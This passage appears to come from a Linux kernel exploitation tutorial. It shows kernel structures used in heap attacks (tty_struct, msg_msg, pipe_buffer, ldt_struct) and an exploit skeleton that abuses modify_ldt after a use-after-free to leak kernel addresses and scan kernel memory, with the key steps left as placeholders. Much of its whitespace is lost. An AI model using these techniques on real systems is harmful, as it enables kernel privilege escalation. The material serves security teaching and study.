int closing; unsignedchar *write_buf; int write_cnt; /* If the tty has a pending do_SAK, queue it here - akpm */ structwork_structSAK_work; structtty_port *port; } __randomize_layout;
/* Each of a tty's open files has private_data pointing to tty_file_private */ structtty_file_private { structtty_struct *tty; structfile *file; structlist_headlist; };
structuser_key_payload { structrcu_headrcu;/* RCU destructor */ unsignedshort datalen; /* length of this data */ char data[] __aligned(__alignof__(u64)); /* actual data */ };
int pipe_fd[2]; if (pipe(pipe_fd) < 0){ err_exit("Failed to open pipe."); } if (write(pipe_fd[1], temp, 0x8) < 0){ err_exit("Failed to write pipe."); }
structpipe_buf_operations { /* * ->confirm() verifies that the data in the pipe buffer is there * and that the contents are good. If the pages in the pipe belong * to a file system, we may need to wait for IO completion in this * hook. Returns 0 for good, or a negative error value in case of * error. If not present all pages are considered good. */ int (*confirm)(struct pipe_inode_info *, struct pipe_buffer *);
/* * When the contents of this pipe buffer has been completely * consumed by a reader, ->release() is called. */ void (*release)(struct pipe_inode_info *, struct pipe_buffer *);
/* * Attempt to take ownership of the pipe buffer and its contents. * ->try_steal() returns %true for success, in which case the contents * of the pipe (the buf->page) is locked and now completely owned by the * caller. The page may then be transferred to a different mapping, the * most often used case is insertion into different file address space * cache. */ bool (*try_steal)(struct pipe_inode_info *, struct pipe_buffer *);
/* * Get a reference to the pipe buffer. */ bool (*get)(struct pipe_inode_info *, struct pipe_buffer *); };
/* one msq_queue structure for each present queue on the system */ structmsg_queue { structkern_ipc_permq_perm; time64_t q_stime; /* last msgsnd time */ time64_t q_rtime; /* last msgrcv time */ time64_t q_ctime; /* last change time */ unsignedlong q_cbytes; /* current number of bytes on queue */ unsignedlong q_qnum; /* number of messages in queue */ unsignedlong q_qbytes; /* max number of bytes on queue */ structpid *q_lspid;/* pid of last msgsnd */ structpid *q_lrpid;/* last receive pid */
/* one msg_msg structure for each message */ structmsg_msg { structlist_headm_list;// 只有一条消息时,指向msg_queue的q_messages long m_type; size_t m_ts; /* message text size */ structmsg_msgseg *next; void *security; /* the actual message follows immediately */ };
structldt_struct { /* * Xen requires page-aligned LDTs with special permissions. This is * needed to prevent us from installing evil descriptors such as * call gates. On native, we could merge the ldt_struct and LDT * allocations, but it's not worth trying to optimize. */ structdesc_struct *entries; unsignedint nr_entries;
/* * If PTI is in use, then the entries array is not mapped while we're * in user mode. The whole array will be aliased at the addressed * given by ldt_slot_va(slot). We use two slots so that we can allocate * and map, and enable a new LDT without invalidating the mapping * of an older, still-in-use LDT. * * slot will be -1 if this LDT doesn't have an alias mapping. */ int slot; };
SYSCALL_DEFINE3(modify_ldt, int , func , void __user * , ptr , unsignedlong , bytecount) { int ret = -ENOSYS;
switch (func) { case0: ret = read_ldt(ptr, bytecount); break; case1: ret = write_ldt(ptr, bytecount, 1); break; case2: ret = read_default_ldt(ptr, bytecount); break; case0x11: ret = write_ldt(ptr, bytecount, 0); break; } /* * The SYSCALL_DEFINE() macros give us an 'unsigned long' * return type, but tht ABI for sys_modify_ldt() expects * 'int'. This cast gives us an int-sized value in %rax * for the return code. The 'unsigned' is necessary so * the compiler does not try to sign-extend the negative * return codes into the high half of the register when * taking the value from int->long. */ return (unsignedint)ret; }
/** * do something to make the following ldt_struct to be modifiable, * e.g. alloc and free a 32B GFP_KERNEL object under a UAF. * * Your code here: */
syscall(SYS_modify_ldt, 1, &desc, sizeof(desc));
/* leak kernel direct mapping area by modify_ldt() */ while(1) { /** * do something to modify the ldt_struct->entries * Your code here: */
/* leak kernel base from direct mappinig area by modify_ldt() */ /** * do something there to modify the ldt_struct->entries * to page_offset_base + 0x9d000, pointer of secondary_startup_64() is here, * read it out and we can get the base of `.text` segment. * * Your code here: */
/* search for something in kernel space */ pipe(pipe_fd); buf = (char*) mmap(NULL, 0x8000, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, 0, 0); while(1) { /** * modify the ldt_struct->entries to `search_addr` here, * if you have to modify the ldt_struct->nr_entries at the same time, * set it to `0x8000 / 8` is just okay. * * Your code here: */
if (!fork()) { /* child process */ char *find_addr;
syscall(SYS_modify_ldt, 0, buf, 0x8000); /* search for what you want there, this's an example */ find_addr = memmem(buf, 0x8000, "arttnba3", 8); if (find_addr) { result_addr = search_addr + (uint64_t)(find_addr - buf); } write(pipe_fd[1], &result_addr, 8); exit(0); } /* parent process */ wait(NULL); read(pipe_fd[0], &result_addr, 8); if (result_addr != -1) { break; } search_addr += 0x8000; }
printf("\033[34m\033[1m[+] Obj found at addr: \033[0m%llx\n", result_addr);